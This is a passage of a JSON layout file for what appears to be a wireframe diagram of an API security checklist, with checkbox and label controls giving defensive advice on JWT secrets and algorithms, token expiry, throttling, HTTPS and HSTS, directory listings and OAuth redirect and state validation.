{\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"30\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"30\",\n                    \"measuredW\": \"510\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"510\",\n                    \"h\": \"28\",\n                    \"x\": \"260\",\n                    \"y\": \"514\",\n                    \"properties\": {\n                        \"controlName\": \"authentication-mechanisms\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"510\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Do not reinvent the wheel in authentication mechanisms.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"31\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"31\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"214\",\n                    \"y\": \"554\",\n                    \"properties\": {\n                        \"controlName\": \"check:max-retry-jail\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"32\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"32\",\n                    \"measuredW\": \"378\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"378\",\n                    \"h\": \"28\",\n                    \"x\": \"260\",\n                    \"y\": \"555\",\n                    \"properties\": {\n                        \"controlName\": \"max-retry-jail\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"378\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \" Use `Max Retry’ and jail features in Login.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"33\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"33\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"215\",\n                    \"y\": \"595\",\n                    \"properties\": {\n                        \"controlName\": \"check:sensitive-data-encryption\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"34\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"34\",\n                    \"measuredW\": \"325\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"325\",\n                    \"h\": \"28\",\n                    \"x\": \"261\",\n                    \"y\": \"596\",\n                    \"properties\": {\n                        \"controlName\": \"sensitive-data-encryption\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"325\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use encryption on all sensitive data.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"35\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"35\",\n                    \"w\": \"653\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"814\",\n                    \"y\": \"413\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": 0,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.4999449522687745,\n                            \"y\": 0.0003335799224988863\n                        },\n                        \"p2\": {\n                            \"x\": 652.5,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"36\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"36\",\n                    \"w\": \"281\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"1000\",\n                    \"y\": \"388\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"37\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"37\",\n                    \"measuredW\": \"218\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"1032\",\n                    \"y\": \"399\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"JWT (JSON Web Token)\"\n                    }\n                },\n                {\n                    \"ID\": \"38\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"38\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"860\",\n                    \"y\": \"469\",\n                    \"properties\": {\n                        \"controlName\": \"check:good-jwt-secret\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"39\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"39\",\n                    \"measuredW\": \"527\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"527\",\n                    \"h\": \"28\",\n                    \"x\": \"906\",\n                    \"y\": \"471\",\n                    \"properties\": {\n                        \"controlName\": \"good-jwt-secret\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"527\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use good `JWT Secret` to make brute force attacks difficult\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"40\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"40\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"512\",\n                    \"properties\": {\n                        \"controlName\": \"check:jwt-algorithm\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"41\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"41\",\n                    \"measuredW\": \"526\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"526\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"513\",\n                    \"properties\": {\n                        \"controlName\": \"jwt-algorithm\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"526\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Do not extract the algorithm from the header, use backend\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"42\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"42\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"553\",\n                    \"properties\": {\n                        \"controlName\": \"check:token-expiry\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"43\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"43\",\n                    \"measuredW\": \"499\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"499\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"554\",\n                    \"properties\": {\n                        \"controlName\": \"token-expiry\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"499\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Make token expiration (TTL, RTTL) as short as possible\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"44\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"44\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"594\",\n                    \"properties\": {\n                        \"controlName\": \"check:jwt-payload\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"45\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"45\",\n                    \"measuredW\": \"389\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"389\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"595\",\n                    \"properties\": {\n                        \"controlName\": \"jwt-payload\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"389\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Avoid storing sensitive data in JWT payload\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"46\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"46\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"635\",\n                    \"properties\": {\n                        \"controlName\": \"check:payload-size\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"47\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"47\",\n                    \"measuredW\": \"536\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"536\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"636\",\n                    \"properties\": {\n                        \"controlName\": \"payload-size\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"536\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Keep the payload small to reduce the size of the JWT\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"48\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"48\",\n                    \"w\": \"620\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"193\",\n                    \"y\": \"708\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": 0.23125640404211367,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.49994495226877456,\n                            \"y\": 0.0003335799224988863\n                        },\n                        \"p2\": {\n                            \"x\": 620.5,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"49\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"49\",\n                    \"w\": \"264\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"357\",\n                    \"y\": \"683\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"50\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"50\",\n                    \"measuredW\": \"136\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"421\",\n                    \"y\": \"694\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"Access Control\"\n                    }\n                },\n                {\n                    \"ID\": \"51\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"51\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"216\",\n                    \"y\": \"779\",\n                    \"properties\": {\n                        \"controlName\": \"check:throttle-requests\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"52\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"52\",\n                    \"measuredW\": \"489\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"489\",\n                    \"h\": \"28\",\n                    \"x\": \"262\",\n                    \"y\": \"781\",\n                    \"properties\": {\n                        \"controlName\": \"throttle-requests\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"489\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Limit requests (throttling) to avoid DDoS / Brute Force\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"53\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"53\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"216\",\n                    \"y\": \"820\",\n                    \"properties\": {\n                        \"controlName\": \"check:use-https\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"54\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"54\",\n                    \"measuredW\": \"419\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"419\",\n                    \"h\": \"28\",\n                    \"x\": \"262\",\n                    \"y\": \"822\",\n                    \"properties\": {\n                        \"controlName\": \"use-https\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"419\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use HTTPS on server side and secure ciphers\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"55\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"55\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"216\",\n                    \"y\": \"862\",\n                    \"properties\": {\n                        \"controlName\": \"check:hsts-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"56\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"56\",\n                    \"measuredW\": \"482\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"482\",\n                    \"h\": \"28\",\n                    \"x\": \"262\",\n                    \"y\": \"864\",\n                    \"properties\": {\n                        \"controlName\": \"hsts-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"482\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use HSTS header with SSL to avoid SSL Strip attacks.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"57\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"57\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"216\",\n                    \"y\": \"903\",\n                    \"properties\": {\n                        \"controlName\": \"check:directory-listings\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"58\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"58\",\n                    \"measuredW\": \"220\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"220\",\n                    \"h\": \"28\",\n                    \"x\": \"262\",\n                    \"y\": \"905\",\n                    \"properties\": {\n                        \"controlName\": \"directory-listings\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"220\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Turn off directory listings\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"59\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"59\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"216\",\n                    \"y\": \"945\",\n                    \"properties\": {\n                        \"controlName\": \"check:restrict-private-apis\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"60\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"60\",\n                    \"measuredW\": \"480\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"480\",\n                    \"h\": \"28\",\n                    \"x\": \"262\",\n                    \"y\": \"947\",\n                    \"properties\": {\n                        \"controlName\": \"restrict-private-apis\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"480\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Private APIs to be only accessible from safe listed IPs\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"61\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"61\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"765\",\n                    \"properties\": {\n                        \"controlName\": \"check:oauth-redirect-ui\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"62\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"62\",\n                    \"measuredW\": \"391\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"391\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"766\",\n                    \"properties\": {\n                        \"controlName\": \"oauth-redirect-ui\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"391\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Always validate `redirect_uri’ on server-side\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"63\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"63\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"806\",\n                    \"properties\": {\n                        \"controlName\": \"check:response-type-token\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"64\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"64\",\n                    \"measuredW\": \"524\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"524\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"807\",\n                    \"properties\": {\n                        \"controlName\": \"response-type-token\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"524\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Avoid `response_type=token’ and try to exchange for code\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"65\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"65\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"846\",\n                    \"properties\": {\n                        \"controlName\": \"check:oauth-state\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"66\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"66\",\n                    \"measuredW\": \"420\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"420\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"847\",\n                    \"properties\": {\n                        \"controlName\": \"oauth-state\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"420\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use `state’ parameter to prevent CSRF attacks\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"67\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"67\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"886\",\n                    \"properties\": {\n                        \"controlName\": \"check:oauth-validate-scope\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"68\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"68\",\n                    \"measuredW\": \"539\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"539\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"887\",\n                    \"properties\": {\n                        \"controlName\": \"oauth-validate-scope\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": 